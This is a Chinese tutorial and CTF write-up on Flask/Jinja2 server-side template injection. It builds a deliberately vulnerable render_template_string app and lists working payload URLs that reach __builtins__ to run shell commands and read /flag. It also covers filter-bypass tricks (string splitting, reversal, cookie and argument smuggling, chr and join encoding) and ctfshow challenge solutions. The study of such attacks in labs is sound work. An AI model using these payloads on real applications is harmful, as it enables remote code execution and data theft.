学习ssti

article/2025/10/10 4:48:33

ssti也叫做模板注入

当不正确的使用模板引擎进行渲染时,则会造成模板注入

比如render_template_string函数,当参数可控时,会造成模板注入

在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti

python沙箱逃逸总结 这是别人的文章

__class__ 返回对象所属的类

__bases__以元组的形式返回一个类所直接继承的类

__base__以字符串返回一个类所直接继承的类。

__mro__返回解析方法调用的顺序。

__subclasses__()获取类的所有子类。

__init__所有自带类都包含init方法,便于利用他当跳板来调用globals。

__globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

我们如何利用这些来进行执行命令呢

from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/flag/')
def flag():code = request.args.get('id')html = '''hello, do you have id ? , %s''' % codereturn render_template_string(html)if __name__ == '__main__':app.run(host='127.0.0.1' , port='5000')

782d8bee62a620a9af36cec5d1cb8822.png

返回''所属的类,我们的目的是获取到它的基类,Object,使用__base__,__bases__,__mro__殊途同归

控制结构 {% %}

变量取值 {{ }}

注释 {# #}

e4cca510b163c1affca0c603a57ce05d.png

3a8df8afb0d4a753fccf1d5f8bafe7ca.png

fd23d252e4265f2a055c1ee47dcd48ed.png

获取到基类后,在通过基类获取到它下面所有的子类,

可以寻找catch_warnings因为catch_warning是function具有__globals__

1400886f22f19c494d21f71a5454a7ee.png

7d01838a4312aa81131fdba3d7320865.png

寻找到function即可,我这边习惯找catch_warnings

在本地寻找的脚本

import jinja2
num=0
for i in ''.__class__.__base__.__subclasses__():if 'catch_warnings' in str(i):print(num)num=num+1

我们在__globals__的属性__builtins__里面发现了很多函数

11f9d9674f9b1e2c2bbfaa8f82132420.png

比如说__import__,eval函数我们可以调用这些来getshell

cc226cb59eb25f4aea241e36148469d3.png

调用__import__声明os库,使用popen函数执行命令,read读取到页面上

2095c0e0dd43524f37487ea50581dea9.png

又比如说通过eval函数调用__import__

既然在本地打通了,我们尝试开启靶机,在web页面尝试

13a695aa6d357f58743c1407cfbdf14b.png

看到这个场景,我们使用索引,一个一个取数就不太现实,有两个方法

一个通过jinja2的{%%}语句

一个通过python来寻找

import requests
for i in range(1,300):url="http://127.0.0.1:5000/flag/?id={{%27%27.__class__.__mro__[1].__subclasses__()["+str(i)+"]}}"r=requests.get(url)if "catch_warnings" in r.text:print(i)

cdae6982d3c97debd9c0108d4c647591.png

07109cb6b389f84f66cdd256feb3e614.png

然后我们可以去通过使用函数getshell了

4493440e8f82303b502cc08d052a49b5.png

还有一种就是通过jinja2的语句控制

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__']['__import__']('os').popen("dir").read()}}
{% endif %}
{% endfor %}

8630a8df41e7a5340ac03b96a3ec461f.png

当然还有一种办法就是它预定义好的

ca72f646f6f3662d8233b7aa11534978.png

60f9da43dfc3955af7b5ef65d4b5214e.png

http://127.0.0.1:5000/flag/?id={{x.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}
http://127.0.0.1:5000/flag/?id={{config.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

也可以用这个语句读取放在环境中的变量

{{url_for.__globals__['current_app'].config}}

web有注入的地方就会有正则的存在

from flask import Flask, request, render_template_string
import re
app = Flask(__name__)
@app.route('/flag/')
def flag():code = request.args.get('id')if re.match('__class__',code):html="checked"else:html = '''hello, do you have id ? , %s''' % codereturn render_template_string(html)if __name__ == '__main__':app.run(host='127.0.0.1' , port='5000')

我们看到正则过滤了__class__,我们应该如何绕过呢

首先知道 ''.__class__和''['__class__']是一样的效果,我们可以通过

['__cla'+'ss__']如绕过__class__的限制

http://127.0.0.1:5000/flag/?id={{''['__cl'+'ass__']['__base__']['__subclasses__']()[220]['__init__']['__globals__']['__builtins__']['__import__']('os').popen('dir').read()}}

ee11b598c9e5648d01066d115e92ac2f.png

我们也可以使用倒序[::-1]来进行绕过

ad80d814a6658b0c7ea79e279518f9a9.png

http://127.0.0.1:5000/flag/?id={{''['__ssalc__'[::-1]]['__base__']['__subclasses__']()[220]['__init__']['__globals__']['__builtins__']['__import__']('os').popen('dir').read()}}

也可以使用flask框架的request函数

get: request.args.x //GET形式传递x

post: request.forms.x //POST形式传递x

cookie: request.cookies.x //COOKIE传递x

get方式绕过

url: http://127.0.0.1:5000/flag/?id={{''[request.args.x][request.args.x1][request.args.x2]()[220][request.args.x3][request.args.x4][request.args.x5].eval(request.args.x6)}}

get: x=__class__&x1=__base__&x2=__subclasses__&x3=__init__&x4=__globals__&x5=__builtins__&x6=__import__('os').popen('dir').read()

58791b9d85f14ff61cae0737eddd4b6d.png

http://127.0.0.1:5000/flag/?id={{''[request.args.x][request.args.x1][request.args.x2]()[220][request.args.x3][request.args.x4][request.args.x5].eval(request.args.x6)}}&x=__class__&x1=__base__&x2=__subclasses__&x3=__init__&x4=__globals__&x5=__builtins__&x6=__import__('os').popen('dir').read()

post:

不允许的方式

cookie:

url=http://127.0.0.1:5000/flag/?id={{''[request.cookies.x][request.cookies.x1][request.cookies.x2]()[220][request.cookies.x3][request.cookies.x4][request.cookies.x5].eval(request.cookies.x6)}}

cookie:x=__class__;x1=__base__;x2=__subclasses__;x3=__init__;x4=__globals__;x5=__builtins__;x6=__import__('os').popen('dir').read()

0d8af2749be7be536e7675a98034f766.png

 

编码绕过:

"{0:c}".format(97)='a'

"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4d8fb03a35ccefc9bebb65c17419ae73.png

http://127.0.0.1:5000/flag/?id={{''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)].__base__.__subclasses__()[220].__init__.__globals__['__builtins__'].__import__('os').popen('dir').read()}}

join绕过:

[1,2,3]|join

19f28d1b1c4b65a95c6b7d47c011e3b5.png

104fa9e25855f8b3283636f50bd0d357.png

{% set a=['__','class','__']|join %}{{''[a].__base__.__subclasses__()[220].__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

我们也可以利用函数直接绕过__class__的限制

http://127.0.0.1:5000/flag/?id={{x.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

c89ee942f3a6a0b0890659d73d7ebb28.png

通过拼接绕过

http://127.0.0.1:5000/flag/?id={% set a=(()|select|string)[24]~(()|select|string)[24]~(()|select|string)[15]~(()|select|string)[20]~(()|select|string)[6]~(()|select|string)[18]~(()|select|string)[18]~(()|select|string)[24]~(()|select|string)[24] %}{{''[a].__base__.__subclasses__()[220].__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

57da65c8184f916468534e4a06eed744.png

绕过暂时就写道这里吧:

我们进入实战的一些题目吧

ctfshow365

5a9173d42fe140e80e1a2fd379571b69.png

c4d710e96267c41282cce1e538372257.png

args也被禁了

12d4ee8394760fdc9ca8ee0148005bbd.png

cookies传参可以使用

c434d02e68834648d0c498f956b83d29.png

引号也被禁了

简单的绕过

url={{x.__init__.__globals__.__builtins__.__import__(request.cookies.x).popen(request.cookies.x1).read()}}

cookie: x=os;x1=ls /

c0a652a439646b722485d69bc11e0331.png

 

ctfshow369

在往后面就不礼貌了,也看不懂了

分析一下大佬的wp吧

3a9ef7b17455d49f908a095b31d242c9.png

 

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}	//获取pop函数,通过join
{% set a=(()|select|string|list)|attr(po)(24)%}  //利用pop(xx)代替[xx]获取_
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}   //拼接__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}	//拼接__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}	//拼接__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} //拼接__builtins__
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} //拼接(q|attr('__init__')|attr('__globals__')|attr('__getitem__'))('__builtins__')
{% set chr=x.chr%} //获取chr函数
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //利用chr拼接/flag
{%print(x.open(file).read())%}	//利用__builtins__的open函数读取

bb19ff5ca0f73502098887c92cfd9224.png

 


http://chatgpt.dhexx.cn/article/n478uXBY.shtml

相关文章

Simple_SSTI_1与Simple_SSTI_2

目录 一,Simple_SSTI_1 二,Simple_SSTI_2 一,Simple_SSTI_1 首先打开场景: 然后F12查看一下源码: 于是通过百度相关知识寻找线索: 1,SSTI :服务器端模版注入是指攻击者能够使用本…

Flask SSTI漏洞介绍及利用

1.ssti成因 flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。 2.使用render_template()渲染页面时不存在注入漏洞。 对传入的参数不会执行…

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样,Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来,除非你的的模板文件修改,否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结:SSTI的理解:SSTI引发的真正原因:render_template渲染函数是什么:render_template:注入的思想:playload 娓娓道来:魔术对象:用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么? 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入(Server-Side Template Injection) ​ 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结(转载)5、常见过滤器(转载) 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日,科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0,成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架,集成通用的科学数据处理组件和存算环境的一体化管理与调度,各科学数据中心/科研…

做数据分析,软件工具少不了,好用的数据分析软件工具

​大数据属于广泛性的术语,多指庞大而复杂的数据集等,他们需要专门设计的工具来进行处理。这些数据集收集自各种各样的来源:公开的信息等,如杂志,报纸,文章。大数据生成的其他例子包括购买交易记录&#xf…

2020十大最佳大数据分析工具

作者:Sunita Chauhan 转自:InfoQ https://www.infoq.cn/article/IEIa8zX2s0KpLYi34ocE 营销的基本原理是一致的,每个人都喜欢洞察力,因为这些数字模式可以提供最安全的方法来确保企业采取正确的行动,更有效地运作&…

【数据分析】33个热门数据分析软件,你都用过哪些?

最近有一位小伙伴问我,做数据岗该学习哪些软件,我想了想扔给他33个软件 数据分析工具类软件,大体可以分为以下5类: Excel生态工具、数理统计工具、BI工具、数据库工具、编程工具 (Excel单独分成一类,主要是…

python数据分析用什么软件

Python是数据处理常用工具,可以处理数量级从几K至几T不等的数据,具有较高的开发效率和可维护性,还具有较强的通用性和跨平台性,这里就为大家分享几个不错的数据分析工具。 Python数据分析需要安装的第三方扩展库有:Num…

4大热门数据分析软件怎么选?看这篇就够了

有时候我们发现,技术和工具并不是核心要素,基于客户需求体验的产品设计和专业工程实施能力才是关键。大部分优秀的数据工具产品,也是胜在对数据的理解和治理的方法论上,赋以相应的工具,让能力加特。 机器学习、人工智…

盘点2021年10个顶级数据分析软件,及优缺点对比

1、Tableau公司 关键见解:即使在市场领导者中,Tableau公司也是数据分析软件市场上的顶级供应商。该公司于2019年被Salesforce公司收购。 该公司的数据分析平台以收集多个数据输入而闻名,允许用户将它们组合在一起,然后提供仪表板…

分析数据的软件有哪些?这几款数据分析软件不用会后悔

数据分析软件种类繁多,使用难度、场景、效率不一。日常的数据分析,Excel就能满足大部分需求,不过在数据量越来越大、维度越来越多、分析越来越复杂的今天,仅靠Excel解决也不现实,不过不用担心,市面上可分析…

六款超好用的大数据分析工具

一、大数据分析工具——Hadoop Hadoop是一个能够对大量数据进行分布式处理的软件框架。但是Hadoop是以一种可靠、高效、可伸缩的方式进行处理的。Hadoop是可靠的,因为它假设计算元素和存储会失败,因此它维护多个工作数据副本,确保能够针对失…

常见的数据分析工具有哪些?

众所周知,大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合。它的含义十分广泛,并庞大复杂,需要有专门设计的硬件和软件工具来进行数据处理和分析。下面给大家推荐几款常见好用的数据分析工具,以供参…